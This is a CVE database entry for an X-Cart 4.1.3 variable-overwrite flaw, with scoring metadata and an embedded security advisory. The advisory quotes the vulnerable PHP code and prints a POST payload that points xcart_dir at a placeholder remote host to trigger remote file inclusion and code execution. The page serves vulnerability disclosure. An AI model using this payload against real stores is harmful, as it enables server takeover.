CVE-2006-4904 : Detail

CVE-2006-4904

6.57%V3
Network
2006-09-20
22h00 +00:00
2017-07-19
13h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Dynamic variable evaluation vulnerability in cmpi.php in Qualiteam X-Cart 4.1.3 and earlier allows remote attackers to overwrite arbitrary program variables and execute arbitrary PHP code, as demonstrated by PHP remote file inclusion via the xcart_dir parameter.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 43842

Publication date : 2016-08-17 22h00 +00:00
Author : GulfTech Security
EDB Verified : No

X-Cart Arbitrary Variable Overwrite Vendor: Qualiteam Product: X-Cart Version: <= 4.1.3 Website: http://www.x-cart.com/ BID: 20108 CVE: CVE-2006-4904 OSVDB: 28957 SECUNIA: 22005 Description: X-Cart is a commercial web based eCommerce solution written in PHP and MySQL that allows for webmasters to host an online marketplace. Unfortunately an attacker may be able to execute arbitrary php code on an X-Cart installation by overwriting key configuration variables. However, because the vulnerability allows for any variables to be overwritten other attacks such as SQL Injection are probably possible as well. Qualiteam have released an updated version of their X-Cart software, and users are strongly encouraged to upgrade as soon as possible or delete the cmpi.php script that resides within the payments directory. Arbitrary Variable Overwriting X-Cart comes with a number of payment processing scripts. Unfortunately the Cardinal payment processing script (cmpi.php) is vulnerable to arbitrary variable overwriting that allows for an attacker to conduct various attacks including arbitrary php code execution. Let's have a look at the vulnerable code in question. if ($HTTP_POST_VARS) { foreach ($HTTP_POST_VARS as $var => $value) { $$var = $value; } } As we can see every single post variable is dynamically evaluated. This is especially dangerous because register globals and magic quotes gpc settings do not affect an attackers ability to overwrite key configuration variables. stand_alone=0&httpsmod_active=1&orderids=1&close_frame=1&xcart_dir=http://shell By sending a post request with the above variables set will automatically include an execute a remote arbitrary file on the vulnerable X-Cart installation, which in turn leads to remote php code execution on the underlying web server in most cases. Solution: The X-Cart team were very quick and professional in their response to this issue.An updated version of X-Cart has been released and users are encouraged to upgrade as soon as possible. Credits: James Bercegay of the GulfTech Security Research Team

Products Mentioned

Configuraton 0

Qualiteam>>X-cart >> Version To (including) 4.1.3

References

http://secunia.com/advisories/22005
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/20108
Tags : vdb-entry, x_refsource_BID
http://www.vupen.com/english/advisories/2006/3692
Tags : vdb-entry, x_refsource_VUPEN